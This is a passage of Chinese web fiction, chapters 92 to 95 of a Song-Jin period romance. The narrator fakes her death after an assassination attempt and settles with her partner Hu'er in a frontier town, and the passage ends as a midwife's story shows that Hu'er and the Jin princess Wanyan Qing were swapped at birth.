可是很快又进来一个黑衣人,我还有一只箭,只好瞄准他的心口,他虽中箭但是却发疯一样冲过来,我抢过床边的花瓶砸他,打掉了他的刀,他却踉跄着用左手拾起刀又砍向完颜晴,看来目标很明确,但是我不能眼睁睁看她有事!对于瑚儿和大宋,她太重要了! 我将她扑倒,用背挡住了那一刀,黑衣人已经拼尽力气,完颜晴忙用佩刀刺倒他。 “倪飞!你怎么样?”她轻轻晃着我,焦急的问。 “还挺得住,我们先出去吧!”我咬牙忍着疼,支撑着起来,完颜晴找了件衣服勒在我背上,扶着我,我们逃到前庭。不一会,侍卫禀报已经将刺客尽数剿灭。 “一个活口都没有?”我趴在床上问,刚刚喝了止痛药,完颜晴为我涂着麻药,现下正为我缝合。 “被抓时都自尽了!”她一边缝着,一边问我“你觉得他们是辽人吗?” “他们头上有伤疤吗?”刺痛感越发不明显,脑子也有点昏沉,说话逐渐没了控制意识。看来药上劲了! “你也注意到了?果然是有人假借亡国复仇之名啊!你觉得会是谁呢?”她继续问着。毕竟当年灭辽完颜晴可是大智囊,出了不少策略!可是还有谁想杀她呢?在这个时候。 我迷迷糊糊之间闪出了一个感觉,“曾经的朋友,如今的敌人吗?”我低声嘀咕着。 “恐怕是啊!”她轻轻应和,咔嚓剪刀声音响起,可能是缝合完了吧!伤口上有粉末覆盖的感觉,有一丢丢凉爽,应该是消炎止血的药物。 “你有能力自保!就算了吧!”我猜她也有了答案,就劝着她。 “你是怕我把气撒在其他宋人身上吗?”她说着,似乎正要起身。 我忙伸手拉住她,看着她脸上略带愤怒的表情,当然不是对我,而是要着手应对报仇了。 “你们想当大善人,我可是受够了,还没怎么样呢,就要过河拆桥!”她想抽回手,我竟然加大了力气拉她。 “不是做圣人!是冤冤相报何时了!就算你有天大的本事,也不能时时防得了!你说过的,能化解是本事!少杀戮、少恩怨,平安才是日子!”眼前的她怒气似乎正在消失,逐渐变得哀伤起来。 我意识也逐渐模糊,居然轻轻摇晃着她的手求她“你已经做了那么多了不起的好事!别再杀来杀去了!不然,今日不是亡国之人要杀你,明日也会是失家之人玉石俱焚!你想要的生活什么时候才会来?你值得过上更好的日子!别让仇恨权势抢走了你的人生,好不好~” “你这个人,照顾好自己不好吗?”模糊视线里,她是不是流泪了,我不敢肯定,终于还是昏睡过去,隐约间最后她说着“小飞……你…们好好的吧!” “小飞,你醒了?好点了吗?要不要喝点水”是瑚儿的声音,我感觉到周围环境昏暗,而且摇摇晃晃。清醒一点后才意识到,我们是在行进的马车里,我趴在被榻之上,一动背上的伤还挺痛。 “我们要去哪里?”我趴着问瑚儿。 “伍国城!”瑚儿用水囊喂了我一点水喝,然后轻轻说着。 这么着急!完颜晴要做什么吗? 正想着,马车即将出城时,往来的人的聊天声传进来。 “听说宗逸公主府昨天被辽人报复偷袭,她的驸马死了……”“对啊,听说她们女真女子死了丈夫要断发呢?好好妇人,哎……” 啊!“我”……死了?! 92、选择 “我……死了?”我呢喃着,看着瑚儿。 “公主让我送你们去伍国城!”乌里突然说着,原来她一直坐在马车里的角落,“这是公主给你的信和新身份!” “倪飞: 我现在有足够的能力自保,不再需要你了!没有你们婆妈,我应该自在不少!你们用新身份在伍国城好好生活吧!等时机成熟再南归也不迟! 放心,我不会伤害你的前妻或者其他人,悄无声息的化解这些危机,虽然会更头疼,但就当是增加了生活的乐趣吧!动动脑筋,没问题的!后会有期了!中原朋友! 完颜晴。” 后面有两个给我和瑚儿的身份证明,温敦族平民——蒲柴和纳穆。是可以自由自在生活的新身份! 我们被安顿在伍国城东南面,一条民巷的小院里,离她表妹住的地方很近,可以一同被保护到。因为冷语早半年来到这里,所以不用费心收拾就可以住了。 一切妥当,乌里便告辞,连夜赶回去。 说起冷语,大概一年前,她在瑚儿的照顾下,身体和神智好转了很多,渐渐的与以前无异。因为担心她在上京不自在,凭一人之勇,又能报多少仇呢?我们便安排她先去了伍国城,那里都是各国遗民,有利于她的康复和生活。 她到了这里以后,捡起了医术,在完颜晴的帮助下,开了一间药铺。 宋人大批迁居这里以后,她帮助了不少人,不过几乎没有人记起她曾是瑚儿的侍女。 也许离乱的生活,让大家都变了模样,除了活下去已经没有什么可关心的了…… 我们到了之后,就和冷语一起经营药铺。恢复了女子身份,我也不再需要定期刮头发,用头巾包着等它慢慢长长吧!瑚儿也不用大费周章的易容,只是简单贴一些带伤疤的假皮,我们以三姐妹身份生活着。 北方民族善于上山采药、采参,以及渔猎,但是伍国城商业并不发达,大多是以物易物,山参和药材除了自己治病,也大多被行商压价,所以这里的人日子往往过得很苦,容易受伤还挣不了多少钱。 我们药铺统一收药和山珍之后,将他们按照品级分类,和行商谈价,慢慢的价格公道了很多。同时又和往来的商队建立了长久合作,他们可以按照我们列得清单带来些商品。 半年之后,我们在药铺旁边开了一家杂货店,南北商品倒也齐全。有了些钱财,冷语的药铺也经常免费或者低价送医问药,有人问起我们就说是温敦部的人,受了金宗逸公主的意,福泽大家。 伍国城和上京并不算遥远,往来一趟大概六七天。可能是因为宋人多了,所以金兵驻扎的人也增加了,这里是完颜晴可以掌控的地方,所以每隔一两个月乌里就会来一趟,说是布置军事,顺便看看完颜晴表妹。偶尔也会带来完颜晴的便条! 随着她的善名在伍国城被越来越多人传颂,逢年过节都会有人为她祈福。 据乌里说,完颜晴哭笑不得。给我的纸条上写着:多管闲事! 我给她回了四个字:狡兔三窟! 我和瑚儿日常会定期,偷偷给宋王族住的地方的士兵送礼物,也会给赵氏成员送物资,被问起就说是昌王妃让的。 这天,据说完颜晴要来了,她表妹古沃贺便躲到我们药铺来了。话说自从前年她生病,冷语用心医治后,她就特别喜欢黏着冷语。时常来铺里找冷语,虽说大多数时候冷语都不怎么理她,她倒是能自娱自乐,抢着帮忙抓药、包药,医术估计也有一定修为了。 “那丫头又去缠着那个冷冰冰了?”完颜晴一见面就问我们,形容的还挺贴切,“都多大了!虽说答应让她自己选婆家,但是她好像对谁都不太感兴趣啊!” “你不是希望她开心就好嘛!”我给她倒了茶,劝慰着,“她母亲去世后,她除了你也没什么亲人了,你为了保护她又不能把她带在身边!她跟着冷语也能学些本领,冷语也不会亏待她的!” “算了!不说她了,话说你们这小日子过得不错啊!”完颜晴看着杂货店里的陈设和货物,聊天期间,瑚儿还接待了几个顾客,屋内满满的暖暖的,很有生活气息。 两年没见,她依然美艳大气,可眉宇之间却透着更多疲惫。我将点心盘推过去给她,咸口的,应该是她喜欢的。 “那不还都是托了公主的福嘛!”我又为她添了茶。 她吃了口点心,轻轻的问着,“还想南归吗?” 这得看瑚儿的意思!我在这个时代,在哪里都差不多,只要能和瑚儿一起好好活下去就好。 其实我最近越来越觉得瑚儿也习惯了现在的生活,可以尽孝、照顾亲人,也可以和我好好的过着日子。 “你们在聊什么?”瑚儿拿了一件毛皮大氅过来,是新样式! “再说我要不要入股你们的小店!”完颜晴将点心放下,笑着对瑚儿说。 “当然!这本来就是以你的名义开起来的,你才是老板!”瑚儿将大氅披在完颜晴身上,“我俩都是给你打工的!” 哇!这两个有同生之缘的大美女在一起的画面,好绝!(*?︶?*) “那我让你做老板娘!”完颜晴顺势摸着瑚儿系紧大氅衣带的手,挑逗着瑚儿。 “你怎么强抢民女呢!”我也配合她俩闹着,假装拉过瑚儿挡在身后。引得旁边的乌里、百林也笑了起来。 “澈穆格,仪式要开始了!”古里泰突然出现在门口,提醒着完颜晴离开。 完颜晴向他点点头,随后笑着对瑚儿说,“君子不立于危墙之下!再逗你,估计她要和我拼命了!”完颜晴又看着我笑了笑,起身带着乌里、百林离开。 “晚上一起吃饭吧!”瑚儿对着她的背影喊道,“我亲自下厨,也叫上冷语和古沃贺!”相处多年,瑚儿和完颜晴关系也很好,相知相惜。 瑚儿说她欣赏完颜晴的才智谋略,也敬佩她为国为民所付出的努力。完颜晴则羡慕瑚儿的良善坚毅,她说在这世上生存,坚持做好人比做恶人需要更大的勇气。 哎?~再这么下去,我岂不是多余了 \(--)/ “好~”完颜晴答应着,出了门。 其实这两年上京城发生了很多事。议政王死后,昌王爷和宗辅两派分庭抗礼。 昌王爷为了斩草除根,将议政王势力尽收,便举报议政王曾私设明堂,有谋反自立之心,金王居然真的下令处置了王府里的人,14岁以上男子处死,女眷和14岁以下男孩押解到东辽为奴。 身为女婿的古里泰难逃厄运,他的姑姑请求完颜晴出面求情,念及以往,完颜晴尽力保住了古里泰的命,但是他却被施了宫刑。他妻子也因为难产而死,留下一个女儿由古里泰姑姑抚养,古里泰也成为天神官。因为不阴不阳,是最适合通灵祈福的。 为了不连累家族,屈辱与否他已经不在意了。完颜晴讨厌男子接近,他如今的样子,倒也能偶尔和完颜晴说说话,不被拒之于千里以外! 其实朝中两派,昌大王是希望有朝一日兄终弟及继位的,而完颜晴和宗辅扶持的是太祖一脉。 明争暗斗之间,其实也是金奴和完颜晴的较量。今年金皇帝身体不如以前,他决定让和剌做储君,这就代表着完颜晴赢了! 完颜晴一直推进着民族融合,希望宋金和平,她能赢,对我们是最好的! 这次来到伍国城,是领了金皇帝的旨意,名义上在此举行祈福仪式。实际上是和宋皇帝沟通,看看有没有让南宋归降和谈的意! 晚上一起吃完饭,瑚儿说她收拾就好,冷语自然帮着她,古沃贺也跟着冷语去帮忙了。乌里和百林居然说着要出去看看伍国城的街市,把我和完颜晴留在屋里。 刚好把最近收到的几本古书和标注好的地图志,拿出来给她。我和瑚儿很感谢她,所以一起留意着这些。对于我们送的东西,她从来不拒绝的。 她接过去就借着灯光翻阅起来,可能因为灯不是很亮,她微微眯起眼,我忙把灯挑亮,又往她身前送了送。灯火照亮了她手中书本,也让她头上的白发被我发现。 这两年她累坏了吧! “古里泰还经常去找你吗?”我说着将温着的奶茶倒出给她。 “好像和以前差不多”她没有看我,却准确接过杯子,轻轻抿着,“不过我们不可能的!”她大概知道我要说什么,放下杯子看着我说道。 “你们从小就是朋友,他和以前不同了,但对你好像没变啊!”我舔舔嘴唇,略带犹豫的说着。如果是静静的陪伴,对她来说也许也是好的。 “就因为是朋友,我才不想骗他、可怜他,我从没有爱过他,他残缺、完整与否都不会改变,”完颜晴认真的说,“所以,自然不会接受他对我的好!” “好!我明白了!不会再问了”我笑着答应着。 “那个问题你想好了吗?”她将书本放在桌子上。 “南归?”我意识到她问的是什么。 完颜晴点点头,沉默了一会说道“太祖一脉能继位,对宋金和平是最有利的!下个月有支商队会去南边,这是难得的机会!” 哦!这么突然! “一会我就要启程回去了,上京有很多事让我走不开”她说着端起茶杯“如果你们真的决定要走,我可能无法相送了,今天就以茶代酒,”她将温奶茶一饮而尽,“希望你们一路平安,走了……就不要再回来了!若是有心,可以托人给我带几枝梅花!” 说完,她站起身向外面走去,刚好迎上了乌里和百林,向我挥挥手,而后一起上了马车,趁着夜色离开了…… “瑚儿,想南归吗?”夜里,我问着怀里的瑚儿。 “你不提,我都快忘了我们不是这里的人”瑚儿调整了一下姿势,说着“不想了,这样过习惯了!” “好~我们好好的过日子!”我抱紧瑚儿,轻轻拍着她,此刻我们都觉得,乱世之中,能平安的生活在这一隅,已经很幸福了! 但是第二天,就有人打破了我们的平静。 早上开门营业,直到中午都一切如常,我和瑚儿正打算吃午饭,门外突然进来两个人:一位穿着大衣带着帽子的女子,陪着她的是一个没有剃发的中原男子。 女子摘下帽子,唤着“姐姐,是我啊!” “嬛嬛!”瑚儿忙迎过去,“你不是在上京吗?”来人竟然是柔福帝姬赵多富! 瑚儿的小妹扑在她怀里哭了好久,才能说上话。 “是二姐让我来的,”多福哽咽着取出信件,“我已经见过父皇了!” 原来是金奴推进了这一切,她先将完颜宗贤府里的赵多富救出来,让她到伍国城见徽宗,取得密旨。然后来找我们,让我们带着她南归,找到当今宋皇帝赵构传旨,然后南北里应外合共谋大事。 瑚儿读完金奴的来信有些为难的看着我,多富还在旁边劝着她“二姐说金人再怎么对咱们好,不过是缓兵之计!命还是要掌握在自己手里!” 其实我们一直没有让伍国城的宋皇室认出我们,如今金奴挑明了,只怕以后想安宁也难了! “父皇还有一封信给你”多富说着将一封信交给我,然后拉着瑚儿说话。因为金奴一直以为我是男子,现在跟他们解释说我是男扮女装,也没有人怀疑。 我展开信,熟悉的瘦金体,内容很震惊啊!徽宗皇帝说,她见过完颜晴了,无意中发现她身上居然佩戴着紫玉蝴蝶,而且她举手投足之间和瑚儿娘太像了!会不会当年她生了两个女儿呢? 此次南归,路过青州田家村,可否去探访一番,了解一下当年的事。如果完颜晴真的是赵氏血脉,以她的才能和金奴联手,必定可以成功恢复大宋江山! 但是这件事先不要让瑚儿知道! 瑚儿也出生在青州?真的和完颜晴是同年同月同日同地出生,她们的身世难道有什么隐情!? “父皇和你说了什么?”安抚好多富,晚上我和瑚儿说着今天的情况,她问我信的内容。毕竟涉及她的身世,我不知道怎么说好,等查清楚再说吧!只好回答,“他想让我们路过青州时,去田家村祭奠你娘!” “我确实是在那里出生的!”瑚儿叹了口气说着,“娘死后说想葬在那里!看来我们真得南归一趟了!” 其实我们都知道,金奴所谋划的一切,都未必出自公心,她只是无法赢过完颜晴,所以才放手一搏。我们被她揭露了身份,以后想在伍国城平静生活也难了!而且,既然是她父亲的圣旨,也许真的能促进宋金和谈吧!我们于情于理都得帮助赵多富南归。 “我们也暂且离开这里一阵子吧!”瑚儿环抱住我,有点无力的说道,“将来如果有机会再回来,好不好~” 我抱紧她以作答。 时隔多年,我们终于要踏上了南归的路了! 如果我们知道等待我们的是什么,我想我们宁愿死也会留在北国的。可是命运啊!从来都是铁面无私的推着我们走下去…… 93、相聚 十日之后,我们将杂货店托付给冷语。 她说自己孑然一身,没有南归的必要了,就留了下来,这倒是把古沃贺开心坏了! 我们借着那支商队掩护,顺利南下,沿途没什么心情看风景,我们很快到了青州。我和瑚儿带好了祭奠品来到田家村,找到了她母亲的墓,拜谒着。而后,我趁着瑚儿买食物的机会,找到村长,问起有没有资深的接生婆?!村长还真说出了有个干了四十年稳婆的陈阿婆的名字,不过她最近被孙子接走看病去了,得明年春能回来。 一时之间也没有进展,我决定还是先继续南归,以后在回来问问吧!其实我不太希望查明白,毕竟宋皇帝对于完颜晴是她女儿这件事,利用之心大于真情。 离开田家村前,我想着买了几棵小梅树,付重金托商队送给上京的完颜晴。 继续向南,我们将多富送到了南宋都城临安。因为不愿涉足政事,我们在听说柔福帝姬顺利面圣被封为福国长公主后,就离开了。 “接下来去哪里呢?”我问着瑚儿,“去见见师师姨娘和芊寻她们吧!” “姨娘都好吗?”瑚儿一时忍不住泪水,抱着李师师问着。 “都好~都好~活着就好!”李师师也哭了,却为瑚儿擦着眼泪“瑚儿这些年遭罪了吧!” “像您说的,都挺过来了!活下来了”瑚儿也平复着情绪,安抚起李师师“姨娘,我找到她了,我们互相照顾过得很好!” “你们之间缘分神奇,”李师师看看我,略带欣慰的叹道“以后可要好好的在一起!”在她眼里,从西夏相遇到汴京种种,后来瑚儿和她说过我是女子,只是没想到我们会有孩子,再后来所有人都以为我死在幽州关,可是经历了九死一生的北上,我和瑚儿又能在一起,确实得感谢老天给了这样的缘分。 “师师姨娘”我趁着瑚儿换衣服的空挡,问起了一些事“瑚儿的娘为什么要选择葬在青州,那里并不是你们的家乡吧!” “这个啊?姐姐说青州很美,将来想等女儿去看她,顺便看看那里!”李师师回忆道,“她是这么和我说的!” “那她当年在青州,真的只生了瑚儿一个女儿吗?”我径直问道,问题可能有点跳跃。 “嗯?难道姐姐会生了两个女儿?你是……在说金英姑娘吗?”李师师回答的突兀,见我面露惊讶,她继续说着“她确实很像我姐姐!”说着她起身找到了一幅画,展开来是穿着宋女服饰的完颜晴。 “到了益州没什么事做,就把以前熟悉或者印象深的人都画了画”李师师将画递给我,说着又取出一幅画,展开给我看“这是我姐姐年轻时,是不是很神似!”这么放在一起看,确实很容易认,难怪徽宗一眼就觉得可能是她女儿。 可是瑚儿呢?和她截然不同的美丽,却因为极致的好看而让人没有质疑她的身世。 “这幅画可以送给她吗?我们在上京得了她很多帮助,”我征询着“她很喜欢汉家文化!” 难道冥冥之中,她真的是汉人!所以喜欢汉文化,保护着宋金和平…… “好啊,她们姐俩缘分也挺深!”她开心的笑着“你拿去吧,以后我再画便是!” 看来等有空还真的得再去青州一趟,好好问问陈阿婆。 随后,我又托了商队将画送去给完颜晴。李师师最近也着手画我和瑚儿了,看着女装模样的我,我不禁想起,当年西夏画我的那副画,完颜晴应该早就丢掉了吧! 我们在益州和李师师一起住了小半个月后,就动身去大理看谦月和芊寻。 到大理时正值盛夏,百花盛开、蝴蝶翩然其间,因为这里偏远僻静,所以没有受到战火侵扰,人们生活怡然如常。 这山谷,一别竟有快十年的光景了! 我拉着瑚儿爬上鲜花铺满的山坡,抬头就可以望见那座山,山洞口依旧被植物遮盖的很好。再往上走,稍微平缓点的地方多了两间木屋。我们正要敲门,却听到了熟悉的呼唤。 “小飞、瑚儿!”是叶心用木轮椅推着江绮月回来了,“来,来~快进屋!”说着将我们引进木屋里,屋内温馨简洁,有一张大木床,一张饭桌和几把木凳,一个土灶,可以做饭和烧水。 “娘,我来吧!”叶心将江绮月推到桌边,转身要生火做饭,我忙接过这些活,当年以谦月的身份早就把她们当成亲人了,虽然多年未见,但是亲切自然的感觉没有变。 “赶路过来,饿了吧?”叶心放任我忙活,她拉过瑚儿坐下问着,然后取出一包点心给我们。 这里太僻静了,山路又不好走,无法乘车或者骑马,得走大半天,所以我和瑚儿带足了水,没有带太多干粮。 她又取来两条湿毛巾,一条给瑚儿,另一条她拿过去为江绮月擦手,动作娴熟配合默契,江琦月被照顾得很好,看来她们之间习惯了这样的照顾和依赖。 瑚儿见我忙着生火添柴,手一时也擦不干净,又担心我饿,毕竟确实赶了挺久的路,她擦干净手,就拿起一块点心过来投喂我,点心比较大块,我一口咬掉一半,她顺势吃掉了另一半。 “还是我来吧!”说着把我拱到一边,“你陪娘她们聊聊天!”然后挽起袖子开始摘菜…… 我搓搓手、轻轻捏着她的肩,回头看到叶心和江绮月看着我们笑,江绮月说着“年轻真好啊!” 叶心忙将一小块点心塞在她嘴里,略带无奈的说“多大人了!稳重点嘛,让孩子们笑话!”江绮月顺势拉过拉过她的手,牵住。 错过半生的两人,余生相伴到老…… “对了,小谦月呢!?”我们忙活半天,还没有见到她,我便问起。 “谦月就谦月,为什么要加个小?”一个稚脆的声音传来,回头看到一个头发扎着两个小辫的女孩,背着个小竹篓,大概七八岁,不对,应该是八岁了。她走进门来,对大家问好“娘!师叔!”又向瑚儿行礼,“公主!一路辛苦了!” 我呢!?略过了?! 我看着那个和我长得很像的小女孩,不禁一愣,心想:小没良心的! 不过想想,为了她转生而来,我好像也没付出什么,辛苦都是瑚儿在受。 这样想着,我不觉更贴近瑚儿,为她将颈后凌乱湿润的头发捋上去…… 吃过饭后,我们三个人上了山,进入那个山洞中,芊寻依旧在鲜花中安然的睡着,和十年前一样,什么都没有改变,我看着洞内的泉水,映照着我已经成熟很多的面容,被时间留住的只有芊寻。 “我已经学会了取药之法”谦月用手支撑坐到晶石台上,轻轻拂去芊寻头发上的花瓣,“我刚来的时候,连台子都够不到……”小大人摇头苦笑。 我们又聊了一会……说说这些年的事…… “芊寻有我照顾,端木鸩就放心回去悬壶济世了!”谦月说着,“他开始还以为我是你女儿呢!不过他知道九转殊途的药性,也就不执着了!” “你确实算是因为我和瑚儿的血肉才重生的,”我突然想起,不自觉扒拉下她的小辫,“我也算是你的……”眼见小谦月要抬脚踹我,我止住了话,躲开,“这小辫子还挺可爱的!” “娘给扎的嘛!不过,我虽然身体还小,但是已经功夫不弱了啊!”她咬牙严厉警告我,“咱俩顶多互为姐妹吧!谁大谁小还真说不清!” “好吧~”我摊手妥协,不禁失笑。 她问我笑什么,我简单说了我和瑚儿一起对狄远撒的谎,我和谦月是孪生姐妹。她沉默片刻,叹了口气,让我有机会代她向狄远道歉。我安慰她说狄远现在过得挺好的!因为不算直系宗亲,她们没有被掳走北上,如今在临安生活着。因为有人传说金皇帝和宋太祖长的像,金会灭宋,正是赵匡胤要来讨回江山,所以建议皇帝赵构将太祖后代子孙收养过来,从中挑选继承人!狄远的孩子也在其中。 “狄远是名将之后,自幼和我一起读书长大,为国为民的心绝不逊于大丈夫,她教养的孩子,错不了的!”谦月感叹着。 女子在政治上的贡献,其实往往没有被显现和记载。如果我没有记错的话,她和秀安王的孩子赵昚被誉为“南渡诸帝之称首”,确实也是没有辜负期待…… “好好照顾芊寻和娘!你自己也好好长大”我和瑚儿拜别了叶心和江琦月,由谦月送我们一段路。临别前我说着,虽然我知道她会的。 “放心,生生世世我都会陪她,这是我欠她的!”她终于笑着对我说话了,“但是也希望不要太久,如果我像你这么老、这么沧桑的时候,她才醒来,估计会嫌弃我吧!” 嗯?这小丫头!要不是打不过她,我真的……算了,她已经一溜烟跑了……然后遥遥的和我们挥手告别…… “等芊寻醒了,记得来看看我们!”瑚儿喊着…… “瑚儿,这个号废了!”我拉着她撒娇“咱们再生一个吧!” “打住,我体验过了,太难受、太疼了!”她用手掌抵住我的头,连连摇头。 “我会好好照顾你的,我发四!”我举起四的手势继续逗她。 “不信,上次就没做到!”瑚儿铁了心拒绝“要生你生!我照顾你!” “也行吧!”我抱住她,“那今晚可以贴贴吗?” “快赶路吧!”她虽然貌似嫌弃,但,晚上我还是如愿了…… 说起孩子这个事情,当年来的太突然了,九转殊途给了我们一个猝不及防的考验,我们接受也试着期待。不过,没想到是谦月归来。那九转殊途的效力还会有吗?这几年我们也有好好的在一起,心意相通!却再也没有那种奇遇了!也许,真的就是为助谦月和芊寻团圆吧! 其实想想,能遇到一个心仪的好人相知相依,已经是很幸运的事了,又能被命运善待,没有被离乱拆散,也没有被偶尔别扭的日常打败!所以,孩子也好、名利也罢,都是命运的附赠品吧!绝不是必需的…… 最重要的永远是:得到那个人,你们俩相互疼惜着走下去…… 94、两生花 “小飞,你是不是真的能未卜先知?九哥真的当了皇帝!”北上的途中,瑚儿感慨道,“你再算算,父皇他们会平安归来吗?” 我该怎么回答呢?好在我沉默的片刻,瑚儿就不再追问答案了! 南归的任务都已经完成了,这里还算是我们的家园吗?接下来要去哪里!?我和瑚儿商量了好久!她的大多数亲人都在北国,可是难道要再回去吗? 犹豫之间,我们继续往北,进入金国统治的区域,借着完颜晴当年做好的温敦部行商的身份,倒也顺利通行。 路过汴京,我们还去看了心园一眼。虽没有被人霸占,但是有些破败了,院墙被火烧过的痕迹还在。街市上很多店铺换了牌匾也换了经营者,天恩居和天福坊自然也是如此。 “将来我们在哪里,心园就在哪里!”未等我安慰的话说出口,瑚儿就先安慰起我来。虽然可惜,毕竟是我们一起设计修建的心之居,但是人在、心在才最重要! 路程还在继续,天气转凉,又到了快要飞雪的季节。我们在幽州以南的一个镇子里,找到了一个北上的商队,两天之后出发去上京。我们觉得挂靠其中便利不少,加之我们“胡人”的身份,他们很乐意带上我们! 谈好之后,我们正要出门,居然碰到了一位故人——安神医,他来商队预定长白山人参。因为瑚儿有简单易容,所以他倒是认出了我。 “你是补药吃多了啊!”他看了我的面色,就拉着我给我把脉,不禁感慨道,“走,去我的医馆,我给你找点清心丸,化解化解!” 距离出发还有时间,我们也算老朋友,就顺道去他那里坐坐。他知道我身边的是瑚儿以后,也给她切脉,说她身体很好! “补太多也不是好事,你想着每三天服一颗,吃两个月就好了!”他将一个瓷瓶递给我,我倒出一颗比米粒大两圈的药丸,服下,瑚儿帮我拿了杯水,我喝着。 我在上京曾经乱七八糟的试了很多药,体内估计也是各种药效乱串,这下应该能舒服不少。 瑚儿看着神医身后的书架,里面有不少安大夫自己编写的药方。 “安神医,可不可以送我们几本?”瑚儿拿起医书问着“我们认识几个采参人,以后有极品人参保证给你留着!” 这么心动的筹码!安神医自然不好拒绝! “好吧!今天你们帮我给病患煎药,医书随便挑!”安神医想找回点心理安慰,就提出这个要求。 瑚儿笑着答应了,毕竟冷语开药铺,这些医书多多益善嘛! “安神医,我们来啦!”刚刚答应好,门外就进来一个十来岁的小女孩搀扶着一个头发全白的老妇人,老人腿脚不利索,跨过门槛都不容易,安神医想起身去扶,我离得更近,下意识就过去了。一同搀扶着她进门,坐好。 “来活了!”安神医将一个药方递给瑚儿,我们在伍国城帮着冷语多时,抓药、煎药早就信手捏来。瑚儿将要配好,又给安大夫检查了一下,就去煎药了。 我本来也想跟去,可是陆续又有人来了,我就帮着在前堂引导,刚刚的老奶奶,是来看风湿病的,安神医又取出几贴膏药,老奶奶让女孩去街上逛逛,自己则留下来等着汤药。 “老婆婆,您的药好了!”瑚儿端出一碗药,送到老奶奶手上,转身又回去继续忙。 “陈阿婆,您老好点了吗?”另一位来看病等药的妇人问着,“您孙子孙女这么孝顺,干脆留下来,别回青州了!” “咦~我这老婆子想留,只怕村子里的人不干啊!”老太太听到有人夸孩子,便笑开了花。 “也对,一老如一宝!”妇人继续夸着“您接生了那么多孩子,都记着您的好呢!” 陈阿婆?青州?接生!?该不会就是田家村的陈阿婆吧!这里确实离青州田家村不远!我忙凑过去和她搭话。居然得到了肯定的答案! “阿婆!您记得大宋崇宁五年、乙酉年中秋在田家村,有没有人找你接生?”聊了一会,我引入正题。 “奥哟~这都快三十年前的事了!”陈阿婆喝下药,被我的问题吓到,“我干了四十年稳婆,有时一天跑三四家呢!哪里记得……” “是女孩,两个很漂亮的女孩!”我追问着“她们的娘也很好看!还是胡人!” “胡人!?哦,我想起来了,确实很俊!是两个大美人!后来我好像再也没见过那么好看的人啦!其中一位好像叫什么卓,另一个不止好看还很伶俐,好像姓李!”陈阿婆如梦初醒,想起了那年的一些事。 二十九年前,一位外族贵妇带着些随从来到田家村,买了一处宅院养胎。后来,宋境闹灾荒又赶上辽人抢掠,很多人流离失所跑到青州。李善娘也在其中,后来不知怎么的,她居然住到了和卓夫人的宅院中,两人年龄相仿有身孕的日子也差不多,相处如同姐妹一般。 “那是八月十五,月亮很圆,桂花都开了……”陈阿婆仿佛看到了当年的场景,带着我也置身其中。 那年中秋,她正和家人吃饭,突然有人来找她接生,居然就是那位夫人,而且她的好姐妹也动产了。结果折腾一番,两个女孩分别出生。 “一人生了一个女孩?”我确认着“那这俩孩子有没有什么特征?” “我想想啊……哦!那个胡人孩子屁股上有块红色胎记,圆圆的!”她突然说道。 和卓夫人的女儿身上有胎记? “您确定吗!?”我忙问,瑚儿才有胎记,我很确定!那完颜晴呢? “确定!当时李娘子还说这不像小太阳一样嘛!这孩子将来一定非富即贵!” “另一个孩子没有吗?”我不可置信的追问,得到了否定的答案。 “对了,咱们汉家那个孩子可能因为不足月,身体有点弱,她娘,也就是李娘子说给她起个小名好养活!”陈阿婆继续说着,我的脑子已经乱了,“她说因为受了胡人恩惠,不如叫胡儿吧!” 晴儿、胡儿……“瑚儿……”我轻轻重复着。 “后来,孩子还没有满月,胡人女子就愁容满面的带着她走了,李娘子哭着送她们离开,”陈阿婆叹道“没过半年,李娘子也带着女儿离开了田家村!再后来我就不知道了!” 刚好她的孙女来接她,她就被搀扶走了。 陈阿婆离开后很久,我还在愣神中,有心事没法好好的接待,我被撵到后面去帮瑚儿煎药,可是煎药也要看着火候,瑚儿忙得不亦乐,也嫌弃的将我赶出去,“别在这里添乱了,晚上帮我按摩吧!”天快黑的时候,我们搬着一小箱医书,和安大夫告别。 夜里,我给瑚儿揉着肩颈、手臂,店家在屋内的放了火炉还有安神香,瑚儿穿着单衣趴在床上,任由我轻轻揉按着她的背,不时发出舒服的喟叹。安神香是桂花的味道,甜甜的。让我不禁想起陈阿婆说的,她们出生时的场景。 虽然一直隐隐约约觉得她俩的身世有隐情,没想到真的不是亲姐妹,而且瑚儿的特征很好认,两位母亲都知道,不会抱错或者一方不知情的情况下被调换的!那就只有一种可能了…… “小飞~小飞~”瑚儿轻轻喊着我,让我的思绪回归。 “怎么了,不舒服吗?”我收了力道问着。 “嗯……很舒服!”她回过头,用手臂支撑着看我,面色桃红、单衣已经微微凌乱,心口隐约可见的起伏,“清心丸会让人清心寡欲吗?” 啊?“不会啊!只是调理身体吧!”我愣愣的回答,看着她的眼睛又明白了她的意思。 明日开始又要颠簸行路,今晚就不想那么多了,我栖身过去和她融为一体,我要让她快乐…… 夜深了,她唤着我的名字,声音渐弱直到睡去,我将她搂紧,轻轻说着也在心里默念着“瑚儿……”不管你是谁,我都爱你……我永远爱你……我的瑚儿! 然后以吻封在她玉白潮湿的脖颈上…… 次日出门,我们见到两只猫咪,一大一小,猫妈妈舔着小喵,瑚儿见着觉得可爱,就买了一个肉饼留在墙边。 “有娘亲在,就很幸福啊!小家伙!”她回头看着一大一小吃起来,才拉着我去商队。 “是啊,母亲都是爱孩子的!”我牵着她的手迎着阳光走着。 我想,当年一定是因为爱她们,两位母亲才做了什么交换的约定。既然没有人知道真相了,那就让我守住这个秘密吧! 三个月后,我们到了上京城,我们在旅途中过了新年,村子里的除夕很热闹,鞭炮震天响,凿冰打鱼、烹羊宰猪,好不欢乐。 上京城的二月,冰雪依旧没有消融……我们本打算吃顿饭稍作休息,再买点干粮后,直接启程去伍国城,不打扰任何人。 酒肆里很多人开始说的话题却不太对劲,他们在说,金王族对宋不满,觉得他们给的赔款不够,而王庭中有的人对宋人太好了,比如宗逸公主…… 完颜晴居然会遭到这样的非议!?我和瑚儿面面相觑,在我们眼中完颜晴为金国发展可是做了很大的贡献! 突然街上有人大声喊叫,我们来到窗边看热闹,是有人冲撞金贵族的马车,意图行刺!行刺者是个女真青年,已经被控制住,侍卫将他拿的匕首呈给马车里的人。 那刺客挣扎大喊“我要替女真人除了你这个祸患!” 马车上的人走下来,竟是许久不见的完颜晴…… 95、牵机 完颜晴接过刺客的匕首拿在手中把玩,一边走近刺客,一边说着“你们术虎氏征战多年已经没有人可以消耗了!你回去好好过日子吧!”随即割掉了刺客的头发,又将匕首插在地上,让侍卫放了这功臣之后。 完颜晴转身走回马车,没有回头的说着“不管你是受了谁的挑唆,等你为了自己要杀我的时候再说吧!” 